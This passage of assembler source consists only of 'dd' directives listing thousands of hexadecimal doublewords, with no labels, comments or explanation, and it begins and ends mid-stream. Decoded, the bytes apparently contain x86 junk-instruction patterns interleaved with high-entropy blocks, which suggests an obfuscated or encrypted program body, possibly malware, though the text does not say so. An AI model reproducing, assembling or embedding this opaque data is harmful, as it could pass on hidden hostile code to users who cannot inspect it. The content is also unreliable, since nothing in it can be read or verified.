52C2208Dh dd 0E412AB6h, 845C64D9h, 0EECA0228h, 41412A03h, 845C880Eh dd 872D6AC3h, 8744C1B2h, 0DF672971h, 0C3CE717Bh, 0C3C62D78h dd 87512D0Ah, 0D7072917h, 7A388348h, 8AFFA5ADh, 8815796Fh dd 85C92640h, 0E74729B8h, 61F733Dh, 30DB0D2Ah, 6FCD0695h dd 0A3369C74h, 126C2FC6h, 81442B23h, 87472098h, 9FB2E1B8h dd 49FF64F4h, 2CA6A3Dh, 8141554Fh, 6F1529E1h, 874729C6h dd 0DD8473C2h, 83637DF8h, 83636D39h, 87472944h, 9847B6Ch dd 62328FA2h, 9BA0A8EDh, 0C97D693h, 0BAC2A01Ch, 0ED412A69h dd 84AF79B8h, 0A747295Ch, 0E1FEA76h, 6430D53h, 9A430DCFh dd 0C74729C5h, 0EAB3EAB2h, 0A2605969h, 30156D5h, 9F829CD7h dd 2CA2F2Dh, 81418E04h, 8B1A948Ah, 0D6172FC6h, 0D3729084h dd 0A343A02Eh, 0CAD2D641h, 0E412A7Eh, 844078ABh, 889FA211h dd 8747280Bh, 2CAD0C5h, 81418EE5h, 6F12291Bh, 874729BBh dd 0DA84747Ch, 836345A7h, 83636D96h, 87472996h, 0EA847C80h dd 69CAAFA3h, 49C71AE8h, 5484913h, 8747295Ah, 9A1EB40Dh dd 12CE2F14h, 81440392h, 32D2A2A4h, 17412AFBh, 874FC011h dd 0DBA529B8h, 0B2FB2055h, 3CF19064h, 0EDD77976h, 84AF7F8Bh dd 0A74729C5h, 0E19EABCh, 6430D05h, 9F430DFCh, 0C147295Ch dd 0FAF9EA78h, 0B62E14A7h, 845B4016h, 2CEDCC3h, 8144315Bh dd 93AE49E2h, 1B4729B8h, 8A8210D3h, 0CC8B754h, 0D1E2652Bh dd 9331282Fh, 0D7BD3E6Ch, 8749C0B0h, 0DB762971h, 0C04C0EDEh dd 0C144676h, 8FEB6D7Eh, 8CAF1818h, 0C547298Bh, 482264Ah dd 21A6962Dh, 0DD1F4988h, 6E1748E0h, 87472957h, 9EE094AAh dd 0F295550Fh, 146F14E2h, 6F1429AFh, 874729E1h, 0DC847251h dd 83637531h, 83636DDDh, 8747293Ah, 43847A54h, 888EA402h dd 12B82FC6h, 8144076Bh, 6F15291Bh, 874729BBh, 0DD84737Ch dd 83637DA7h, 83636D96h, 87472993h, 0BD847B87h, 312377C4h dd 87EEACF8h, 15FD2FBBh, 4070E946h, 8451F0ABh, 87472611h dd 3AD2008Bh, 78412ADFh, 84478077h, 8742C177h, 923C29B8h dd 0AEF436DFh, 845C0093h, 2CE7011h, 814430B2h, 0A276944Ch dd 2CC2FE1h, 8144094Ch, 3DC0B435h, 0C4CE2F5Ah, 82FAA42Fh dd 0A412A08h, 81FD483Eh, 877490C3h, 23B429E2h, 87FF1A9Ah dd 8C4729B8h, 45445D9Ch, 0C3CC2936h, 6F142533h, 8747298Bh dd 9084A89Eh, 0E4729E2h, 0E570D2Dh, 0DC530DFCh, 1DE71EE4h dd 0CA7D62Eh, 78430D53h, 66C64F6Bh, 6F26838Fh, 874729EDh dd 371A7BF3h, 0B0BE8E65h, 6E8DF662h, 0DE6D1978h, 2040949Ah dd 0ACA2F8Dh, 8141930Eh, 0A1EC1C5Ah, 42C21AE9h, 0AC412A9Ah dd 85AEE893h, 0DD872D49h, 0C58744C1h, 21D96729h, 55F3CE77h dd 9CC3C62Dh, 5C875A2Dh, 0F305E983h, 0E9D98BA4h, 7Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A8C35747h, 72B060F5h dd 65D18166h, 61F86190h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 46C35545h, 0B779262Fh, 15E72A8Fh, 50006AC3h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BE95099h, 0FE000000h, 283E9696h, 28D71151h, 0C08BD8A0h dd 138F0Fh, 0EE90000h, 0AC000000h, 0B6CD4F7Fh, 45CF6957h dd 99DA2D91h, 0E5BD83C7h, 60304h, 0BD830975h, 6032339h dd 50197400h, 0B8C08B53h, 4B9h, 7398589h, 9D8D0603h, 605B626h dd 585BD3FFh, 2339BD83h, 74000603h, 0B8535017h, 4B9h, 7398589h dd 9D8D0603h, 605B2C7h, 585BD3FFh, 98D0Fh, 66600000h, 665515BBh dd 6A61C68Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 7FEEC355h, 40F9C08Bh, 0BF0FC18Bh dd 4EBF1h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0D13C353h, 5D94C0E8h, 135F612h dd 3312DB5h, 0F0B70F06h, 1309858Dh, 6A0603h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 27530BC3h dd 0B589602Eh, 60324CDh, 2AB9BD89h, 90610603h, 0BE8h, 0A1AEEA00h dd 0EF7C3DEh, 0A1B9702Ah, 8B66505Eh, 6A90F2h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0FD3917C3h dd 610D6223h, 8C0F1F1Ah, 6, 0A69BD8Bh, 6A0603h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 89C35545h, 97871FB7h dd 0DE99729h, 18000000h, 0A4C5A6C5h, 273152EEh, 59F1B22Ch dd 0FE9006Ah, 0EC000000h, 0D4807909h, 0EFFDCD74h, 0B1EA8B5Dh dd 858DA418h, 606BE0Ch, 0B1BD89h, 0C0830603h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8B25C0DFh, 3290DBDh, 49BD8B06h, 50060303h, 0BF665250h dd 310F819Dh, 489585Ah, 0F830F24h, 52000000h, 8E9h, 1DA9EA00h dd 0A5C5E17Ch, 6A5FF5h, 9E8h, 268F0300h, 0A2EAE259h, 0FE8BCF36h dd 6A006A5Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 726FC357h, 0BE9C90DBh, 0EE8130A5h dd 2A21D513h, 17A9BD8Bh, 95FF0603h, 6031DF9h, 99339D8Dh dd 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 1C310C3h, 414031Bh, 3DB58B59h, 8B060308h dd 312DDBDh, 66D3FF06h, 31C49DBEh, 32D619Dh, 185FF06h dd 6A06031Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 186AC352h, 0BF0F1737h, 7C8E9F3h dd 0E80000h, 5D000000h, 0BE16ED81h, 6A0606h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0E45FB6C3h dd 0F624793h, 0BD81F9BFh, 60316D9h, 7D0h, 188860Fh, 0BE90000h dd 49000000h, 76041B64h, 9B68D751h, 9D8BC60Eh, 6030CB5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 22C35141h dd 53849C16h, 6673854Eh, 0D5FDDE81h, 100E381h, 13E90000h dd 0C2000000h, 15A65595h, 0F1BA0100h, 8B3D4AD1h, 866A070Ah dd 858956A0h, 6030909h, 850FDB0Bh, 0C5h, 6810Fh, 830F0000h dd 0 dd 0BC06BD83h, 0F000606h, 5C84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0B74C4677h dd 8E988h, 0D5A20000h, 4CAE2FDEh, 850FC21Fh, 3, 0E9F8BF0Fh dd 87h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h dd 0EAC35040h, 0B531B021h, 685C7FFh, 10606BCh, 8B000000h dd 30D99B5h, 0CE906h, 44C20000h, 10007E16h, 98CEEF98h dd 40E9284Dh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0EE68C350h, 10C829CEh dd 9857B90h, 32AE585h, 685C706h, 606BCh, 8B000000h, 31C41B5h dd 29B58B06h, 8D060313h, 30CB59Dh, 8BFB8B06h, 31629B5h dd 0FF238106h, 6AFFFFFEh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 14AEC355h, 0BA31EF41h dd 8529AC01h, 60319E1h, 0E399589h, 8C660603h, 55006ADBh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 2D858951h, 89060329h, 32ED1BDh, 4C3F606h, 99840Fh, 0BD8B0000h dd 6032141h, 0A995FFh, 6A0603h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 9A350CC3h, 72215CBAh dd 0F588A4Dh, 18Eh, 6090F800h, 9E9h, 61090400h, 0FFBA0FFEh dd 8D0F4D1Ah, 2, 5061CF8Bh, 7AE4BF60h, 8B0F58E9h, 3, 61CB8B66h dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0EE828D3h, 4D000000h, 6E939D1Fh, 10685611h dd 0BDBBD1F0h, 0DF816604h, 0E95F2E3Fh, 3E4h, 0B599D89h dd 0B58B0603h, 603209Dh, 6A00B0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 493E19C3h, 0E6E5D2CCh dd 0E9FE8B70h, 0Fh, 0CB49A7ADh, 0F12DFE8Fh, 7ED09C22h dd 0E4A2061Ah, 0D8B60F71h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 19C35343h, 9B38527Fh, 870F81FEh, 3, 52F78B66h dd 98D68166h, 6BA5E8Fh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 31EEC357h dd 964EF26Bh, 8D0F3FE6h, 6, 0D9589h, 0C38B0603h, 0E8C1FB8Bh dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 0C62586A9h, 0C4E7F331h, 0BB19D01h, 0F7660603h dd 51006AE2h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0F1807C06h, 51B53BFh, 66D82B4Dh, 388FDF81h dd 7E950h, 4DFB0000h, 0E290C79h, 241C8924h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0CEC35646h, 0EA90F9F6h dd 37C9C848h, 419D890Eh, 0FF06031Ah, 316D9B5h, 77BF6606h dd 0A595FF49h, 89060323h, 314D1BDh, 6A00B006h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 9CBDC356h, 7EE1A755h, 68A0Fh, 0B5290000h, 6032C2Dh dd 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 8E1136C3h, 3CBF8912h, 0E45D0156h, 52006A71h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 6676CB6Ah, 3C2253BEh, 1830F61h, 89000002h, 30DFD85h dd 0C7816606h, 0B60F8D97h, 6BAD8h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0FDA25BC3h dd 6335C7DEh, 0BF4E80B3h, 776CA1E9h, 0E8C1C38Bh, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0AB210767h, 15B19589h, 0F7660603h, 57006AE2h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0FB73503h, 48Dh, 89BF6600h, 6AD82BABh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 6178C350h dd 4371DE9Fh, 0AE9h, 0D574DC00h, 0D8DD1330h, 665E4E4Ah dd 477DE781h, 0BD8B6058h, 60306E9h, 0FD82B61h, 12788h dd 7D9D8900h, 0B9060308h, 7, 2E58589h, 0C1830603h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 6FCF33CEh, 0FD345D2Eh, 0ADB58BB0h, 3B06031Dh, 0E1860FD9h dd 29000000h, 30C6585h, 0D98C6606h, 4C1F6F5h, 0A5840Fh dd 0BE660000h, 0F38BEFBAh, 0A995FFh, 5E560603h, 5985895Bh dd 0BF060330h, 1E4496DAh, 13E8C32Bh, 99000000h, 3B49B763h dd 5EF2DBC4h, 6D0CFD98h, 0D125A3C0h, 0B5339796h, 6033049h dd 8343D5Fh, 860F0000h, 5Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 28C35747h, 820C3CCBh, 126980C4h dd 5FE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 921523Eh, 3299D85h, 0DE906h, 158A0000h dd 6D5E01BCh, 0B0B6ACAAh, 8BC4F5FCh, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0F372370Dh dd 705CDB7Eh, 0F2B70F1Bh, 0D88BC38Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0BDC35747h, 46A9D34h, 4FC49FE7h dd 14E96038h, 94000000h, 0E6616122h, 2B12D040h, 462BEC3Ch dd 1AA9E1B8h, 61B4DD57h, 99185C7h, 75B90603h, 6A3ED4h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0B3F565C3h, 77DE8166h, 8BC08B91h, 30579B5h, 0D9BD8106h dd 0D0060316h, 0F000007h, 4E85h, 8DBD8B00h, 0FF06031Dh dd 316D985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 4F8EC480h, 5EC4D0E2h, 8F0FD8BAh dd 17h, 12E9h, 6B366600h, 3E60AFD9h, 7B966D32h, 81059753h dd 0FF396217h, 316D9B5h, 11858906h, 0FF06031Ah, 323A595h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 4A5F5C58h, 926A5B5Bh, 30BF661Ch, 0BF6660E2h dd 0D680DBD3h, 0B890614Ch, 12345678h, 2A0D8529h, 9D8D0603h dd 606C5AAh, 0FFF851E9h, 666052FFh, 850FF78Bh, 0 dd 5D68161h, 5F3D2831h, 24E99D09h, 4EB0603h, 20885B58h dd 56DE9h, 0E8B13A00h, 7D85E7Ch, 24F57D9Bh, 47109AB8h dd 6738BDDBh, 2CF03CFBh, 4C6AD6A7h, 6E8CF8C1h, 8FAD19E2h dd 0C6CB3708h, 80214F1Ah, 0C3D1D017h, 0FECF56B0h, 3EDAE3FFh dd 0AD0119EBh, 850A1008h, 0A32A48B4h, 54DBD3D2h, 0DE060F83h dd 0B542D1E0h, 241CD1C9h, 0EECECD9Eh, 67EE9693h, 22A0449Eh dd 116F1957h, 81CCD9D6h, 29AEEDECh, 0B5E5958h, 0D80A4CB8h dd 116BE70Dh, 0A58A8FD6h, 35DB7264h, 0B11095Ch, 2C4AB67Fh dd 5A63D7A0h, 8A16B53Ch, 7CC7C2C1h, 534B3F44h, 521BA69Eh dd 59563553h, 0E85C25B1h, 86854EDAh, 5371938Bh, 47FCFBCCh dd 0D611F02Ch, 0A36F6C41h, 41400995h, 69624E46h, 0A45C3956h dd 7Dh, 0FECF56F3h, 69DAE3FFh, 0E677E68Eh, 3935F8F0h, 30D61169h dd 1BD05E5Bh, 125C39CFh, 1, 0F2003261h, 5C929F68h, 0BAD61145h dd 68636233h, 676D6572h, 939C10E1h, 32B151Ch, 590E0636h dd 960ADB61h, 3534FD88h, 958D423Ah, 6343420Bh, 313F0B08h dd 8D56E1A7h, 4140938Eh, 0C2484E46h, 0D8DE36F9h, 9C378253h dd 0A4186B21h, 3E3D0E96h, 0B294B43h, 547B384h, 0A79F70F7h dd 0D156DCh, 0B5830901h, 66616029h, 0C4C38C16h, 0F90276C9h dd 3D80F691h, 2DE2DAFBh, 1BC3C07Fh, 3B59C596h, 935CE6B4h dd 47469994h, 73F9C74Fh, 7F504FA2h, 607B0906h, 0BC5C398Eh dd 575627AEh, 9A29645Ch, 19000000h, 0B3B2830Bh, 56F5C0B8h dd 90100D1h, 0D1B1B081h, 0C2931927h, 0F5D0C8C3h, 0FACB50F8h dd 6B895486h, 0B1D61145h, 635E5D26h, 4668606Dh, 0E907D204h dd 89D61145h, 0F97E847Ch, 0A7312928h, 950EDFDEh, 34BECC98h dd 5C87736Bh, 0D75C39E1h, 9Ah, 0D15626h, 5D285A8Ch, 0D6114517h dd 0AFC5D2DFh, 0C9D61145h, 1145F0FEh, 7D7380D6h, 0CBC37870h dd 0F402763Fh, 0F3A8A069h, 0F98492EAh, 3E363130h, 689A6663h dd 1145579Dh, 8E151FD6h, 70C3BEBDh, 0D4CC9520h, 0C7849CEh dd 0FFD05629h, 26F77D8Bh, 2B5D792Eh, 11451260h, 5B9964D6h dd 1BD61145h, 1FEA180Eh, 0D61145D1h, 494194A1h, 11456D86h dd 5821ABD6h, 0ED76159h, 0EA7039BEh, 811790Dh, 88A6A5F8h dd 8601ACA9h, 0AD26B4B1h, 795C3931h, 1E16DF6Bh, 1E3h, 323200h dd 11453F35h, 8D15DD6h, 0B180E09h, 0B4850D13h, 6536BDB5h dd 19E26E66h, 0CB9C221Ah, 2423F47Bh, 41ECE944h, 47EFECCBh dd 9D66F1BFh, 0E450A39Eh, 20946C99h, 45CD23EEh, 5C27D611h dd 0D6114516h, 0CEDBD1DEh, 5AE1ACD6h, 9EDC1467h, 0BA3F0590h dd 0F29E96E9h, 67EEE6E5h, 850C2A96h, 430E40B4h, 0D012662Dh dd 0BC0B8C5h, 12661E56h, 65626BD0h, 0F96536BDh, 5021A9B7h dd 0FDCB5258h, 0AEA9A871h, 0EAB5E75Bh, 0D0126684h, 0B2675F6Ch dd 476A33BAh, 0B3B6D014h, 0A0AE2275h, 70FA4A1Bh, 0B5ADA8A7h dd 36445200h, 83F1BCAEh, 73D0123Eh, 401B1366h, 43149B43h dd 0F4EBC6CFh, 815A9A24h, 68636789h, 0A35A3A73h, 12Ch dd 32FB8593h, 326F3Ah, 11453F35h, 0B2AAB7D6h, 67A067Fh dd 145FF03Bh, 67EEFCDCh, 0EDF29E96h, 0EF7A59F0h, 9F4DDB26h dd 6F8550C4h, 7D01268h, 0B0A8A7FAh, 0CEEC5829h, 648A5547h dd 0CD01268h, 0B0AF7802h, 9B0F62B5h, 3736078Dh, 978F443Ch dd 48403F10h, 0F9F1F0C1h, 9CA5A46Dh, 0E5EB9693h, 0FA812926h dd 32B9BD29h, 0A5A3ACEh, 5AA576FCh, 0F4DE2071h, 205B53F6h dd 5Eh, 29F1296Fh, 0E97583B5h, 45DD1320h, 8B95D611h, 0EAE23506h dd 454FF5C0h, 0BAC7D611h, 0E8B13846h, 4D4A36C5h, 776FC2BDh dd 0E98A6C2h, 534B4645h, 116A6290h, 6031B8D6h, 15DE6961h dd 1C19F816h, 0B9B66171h, 61E7B4E4h, 0FEC93D90h, 0D6116A40h dd 2A57C3D0h, 58h, 6D36C0CEh, 0FC29AA75h, 4EE5B024h, 0AADC1467h dd 4D45169Ch, 9D9594A1h, 0BBD94516h, 0AF646334h, 0D012654Ah dd 13BBB8C1h, 6932BE8Ch, 265FAA16h, 0FA1BE65Ah, 0F6DA1B2Fh dd 0AFFBF9C4h, 6E7BDA18h, 0BEBDCA76h, 6F6E3FC6h, 0A0757251h dd 5C279B65h, 0D011E139h, 593CA8B5h, 0B024FC29h, 180BA0E5h dd 32313EDCh, 76E2B33Ah, 0FEA12B34h, 590152B0h, 3D45B61h dd 1FA74F04h, 630DFA99h, 4FCCD55h, 0FD842C29h, 24AAB82Ch dd 0F7395B53h, 3A0035EEh, 261EC8E9h, 0C9C89920h, 7F7E47D1h dd 0DD858261h, 0D7198556h, 29ACE6CEh, 4C440B45h, 0EFEEBF46h dd 3E8h, 3D54EB00h, 504CD56h, 0B6B5860Dh, 6A6932BEh, 1F1EE772h dd 0D2D1A227h, 858455DAh, 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h dd 6FB2686Fh, 34890000h, 71AA6824h, 4890000h, 2FD06824h dd 1C890000h, 0E4BE5624h, 530606C5h, 0D889F389h, 8B545E5Bh dd 0C481241Ch, 4, 4815057h, 0B30E4B24h, 0EF815F54h, 54B30E4Bh dd 5F087B89h, 52241C8Bh, 0C281E289h, 4, 4C281h, 14870000h dd 48B5C24h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h dd 0FCB2D8E9h, 449DD6FFh, 3005241Bh, 0D4B8F2E3h, 30606CAh dd 0F7E0FFC5h, 866AE22Dh, 0EB038338h, 0DF149BE0h, 0D11791C5h dd 0C83123A7h, 0A83A91C4h, 9D0B0439h, 364C23ACh, 502ED1C6h dd 9909484Bh, 7D2DC7B0h, 0B17B5E19h, 8954D621h, 460CF925h dd 0FE3EBF72h, 8640FEB5h, 0FC7E67F5h, 737AA6F7h, 0F21708DEh dd 0C65C2740h, 80462409h, 0DB700E4Bh, 0CE158862h, 0CC723F24h dd 0C930F62Fh, 43358CD4h, 5B3AC1B7h, 0B27F9279h, 366E00D8h dd 0DF180639h, 32259AC4h, 8B165044h, 55006AC1h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0C7C32A7h dd 0B5205D42h, 0C59D3198h, 0EB060323h, 4, 41952900h, 6A06030Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 95FC350h, 0B70F7B3Ah, 9858DF6h, 6A060313h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0E110C353h, 5AA43191h, 0AA98D89h, 0BF900603h dd 55AB90ECh, 0BF669050h, 6A32BCh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 8BC35242h, 800F50h, 8B000000h dd 32451B5h, 13E806h, 9A810000h, 37B3A8EEh, 36965EC8h dd 804E94DBh, 0B7B16393h, 0F1BD8B57h, 5F060318h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 67489FC3h, 48D63052h, 13858D64h, 6A0606CEh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0F2ADC352h, 324078B0h, 0AC087F8Fh, 6D8BBF66h, 2D859D89h dd 0C0830603h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0C827DD30h, 0BD1157AEh dd 16810F56h, 0E9000000h, 11h, 0FE52BD51h, 0B65D50FAh dd 0E52F9B27h, 5427693Fh, 0BE665F43h, 89501DD8h, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 6FD6C1C3h, 53E3D4Fh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0A0161EC3h, 51B58986h dd 6A06032Eh, 0F995FF00h, 6A06031Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8B4DC357h dd 8D01F08Bh, 6032A91h, 99339D8Dh, 6A0606h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 90E34C3h dd 0B58B8B1Bh, 6031595h, 29FCD3FFh, 30F8D9Dh, 185FF06h dd 6606031Dh, 9D69E781h, 0DAAE9h, 0E800h, 815D0000h, 6CE1DEDh dd 7BCF8106h, 8133AC31h, 316D9BDh, 7D006h, 44860F00h, 0E8000001h dd 10h, 12DFD671h, 89A6B170h, 0C99A5ABDh, 889D72D1h, 8B5FF78Bh dd 322799Dh, 0CDB50906h, 81060304h, 100E3h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 4FDA1357h, 0CFC41F7Eh, 0DB0BF5F6h, 0A4850Fh, 85090000h dd 6031BD9h, 0CC08BD83h, 0F000606h, 2A84h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0C485192Ah, 5A880FDh, 73E9h, 0C75F5700h, 6CC0885h, 106h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 910A2572h, 0BD8B4B24h, 60322C1h, 3BE9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 9AB52A75h, 0ED5A6E3Ah, 9529A3DFh, 6031A29h dd 0DADBD8Bh, 85C70603h, 606CC08h, 0 dd 22799D8Dh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 7023ABC3h, 8BE267D8h, 32E41B5h dd 0BD9D2906h, 81060304h, 0FFFEFF23h, 0FF860FFh, 6661DBB7h dd 6ADB8Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 33E3FFC3h, 0F5763032h, 3A2CB06h, 31741BDh dd 0BC43BE06h, 0C3F67133h, 73840F04h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 7B1FC355h, 0A995FFh, 66600603h, 61ADF281h, 0DEF8166h dd 0BE506106h, 2936BF42h, 60240489h, 0EE9h, 0C42FD400h dd 36EFB0DFh, 663FFC72h, 0E82FF190h, 14h, 3057F702h, 26D94025h dd 0B5339C73h, 0A4B4529h, 6FB5A1C7h, 870Fh, 61590000h dd 16BD9589h, 90E90603h, 89000003h, 32D0595h, 6A00B006h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 1485C351h, 7E970E6h, 90000000h, 2BB304Dh dd 71E4789Bh, 45F9BF66h, 6AD8B60Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BAFEC353h dd 6, 0AE8FA8Bh, 6F000000h, 0DA490484h, 79EE2DBDh, 0C38B5EAFh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 57C35646h dd 0AEFBC577h, 26CDBD23h, 0F88B0603h, 0DBE18160h, 6619B5C6h dd 618A36BBh, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0A275C352h, 0CD2B49C7h dd 0D500A5Ah, 0EF1BD0Bh, 0F7660603h, 53006AE2h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0D82B5FDBh dd 0BCBE6650h, 241C892Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 57C35747h, 45F78052h, 0D5BD8B89h, 0FF06032Ah dd 316D9B5h, 65B58906h, 0FF060316h, 323A595h, 6A00B006h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0EB7FC356h, 0C3F3ED26h, 9B64BEBAh, 0F7816A25h dd 614EC0ECh, 840F70E6h, 6, 0DDABC781h, 71E43027h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 86C35646h, 0D574DC35h dd 0FDD1330h, 282h, 0E8F88B00h, 11h, 8763A9E8h, 83F4191Bh dd 0F4346E2Ch, 0EB9976BCh, 31CF8168h, 5E457C52h, 830F613Ch dd 1CBh, 71BD8B60h, 8B06030Ch, 30391B5h, 0B60F6106h, 6BAF5D8h dd 0FC000000h, 0B50BC38Bh, 603091Dh, 64A8F681h, 0E8C15EA5h dd 2840F04h, 8B000000h, 0E2F766F3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0CAC35040h, 18B0F35h, 0F8000000h dd 0AE9D82Bh, 0B3000000h, 603A8CE2h, 71ACFBD3h, 0B58B5841h dd 6031379h, 880FD82Bh, 153h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0EDC35747h, 333C200Eh, 8B6DE5D5h dd 32D91B5h, 7B906h, 95890000h, 6032ED5h, 6A00C183h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 2DF5C357h, 61939EF6h, 830F83E0h, 0 dd 860FD93Bh, 0EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 55C35545h, 659D893Ah, 66060322h, 9D89D98Ch dd 6030B05h, 0F04C1F6h, 9084h, 0A995FF00h, 0E9060300h dd 14h, 36A40D77h, 2474AD89h, 985D6A0Ch, 8804E5B2h, 3DC91E4Ah dd 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0F607256h, 283h, 235E5100h, 31F8D85h, 0C32B6106h dd 17EDBF66h, 8343Dh, 32860F00h, 9000000h, 308E1B5h, 4DE906h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 6D9EA8C3h, 98A83EAh, 3197195h, 6AC08B06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 190EC351h, 521C8521h, 8B458DE7h, 89D88BC3h dd 302C185h, 0B585C706h, 9506030Ch, 893B7B65h, 31C4585h dd 6AC08B06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0C454C352h, 610727E2h, 0D9BD818Ch dd 0D0060316h, 0F000007h, 2985h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 4B7FC82Eh dd 0F08B6664h, 16D985FFh, 0B5FF0603h, 60316D9h, 0B5316060h dd 6030355h, 0ADB58B61h, 61060325h, 0B830CF81h, 95FF2550h dd 60323A5h, 90FABF0Fh, 53006A40h, 3E8h, 